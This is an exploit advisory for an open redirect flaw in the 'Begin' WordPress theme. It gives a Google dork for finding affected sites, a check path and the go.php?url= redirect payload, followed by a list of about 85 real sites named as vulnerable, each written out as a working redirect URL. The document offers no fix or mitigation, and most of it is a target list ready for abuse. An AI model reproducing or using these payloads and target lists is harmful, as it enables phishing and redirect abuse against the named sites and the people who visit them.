#################################################################################################
# Exploit Title : WordPress Begin Themes Start-up Business ThemeForest Open Redirection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 03/11/2018
# Vendor Homepage : wordpress.org ~ themeforest.net
# Tested On : Windows and Linux
# Software : themeforest.net/item/begin-start-up-business-wordpress-theme/20590319
# Category : WebApps
# Google Dork : inurl:''/wp-content/themes/begin/inc/''
# Exploit Risk : High
# Versions : All Versions
# CWE : CWE-601 - [ URL Redirection to Untrusted Site ('Open Redirect') ]
#################################################################################################
# Admin Panel Login Path :
/wp-login.php
# Check for Vulnerability :
/wp-content/themes/begin/inc/qaptcha.jquery.php
{"error":true}
# Open Redirection Exploit :
/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
#################################################################################################
# Example Vulnerable Sites =>
[+] hzhjbh.gov.cn/wp-content/themes/begin/inc/go.php?url=https://www.cyberizm.org/
[+] su.gdou.edu.cn/wp-content/themes/begin/inc/go.php?url=https://cxsecurity.com/
[+] onkao.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] bangm.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] csky8.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] docker.ren/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] aycx360.com/wordpress/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] howsci.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] linuxgogo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] rchain.site/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] tiinfo.info/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] sishaofeng.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] grangers8.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] trendbbs.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] gavindong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] elastosnews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 3zschool.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] hnxhgroup.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] chenxuehu.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] zhouxiaoben.info/src/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] lixuejiang.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] developerfaqs.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] kok8.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] ishangsf.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] xitongtiankong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] bh8sel.top/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] smartpu.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] yrnote.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] abcdocker.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] bichi.one/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] yueyuebaby.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] liusongzuo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 52szy.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] xnq100.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] zhaohai.wang/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] w3cjava.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] pydata.club/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 5yemao.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] chuyuans.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] duanshaolin.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] tuchu.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] boyew.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] aiweinews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+]mofomofo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 150643.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] awccc.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] diyi789.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] sichuanganju.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] huoxin.me/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] qinghe.me/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] imydl.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 91fh.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 52maicong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] shoujitouping.com/wordpress/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] qnjslm.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] wmi50.medinfo2017.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] esxqk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] fennbk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] longs.cc/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] cosxitong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] dmgenglish.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] majiajue.biz/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] ctrler.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] xuansu.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 39mo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] chromeba.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 125689.com/edu/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] seceye.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] taotaomeiya.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] sxfblog.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] shipinwhy.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] xby.xyz/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] xiaoxiawz.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] xbphotool.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] lihongjing.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] aiweibk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] uuoption.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] dappnews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 5mikes.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] get-nordvnp.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] speedfly.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] ainll.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] hula8.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] 94huaji.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
[+] crackvip.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################
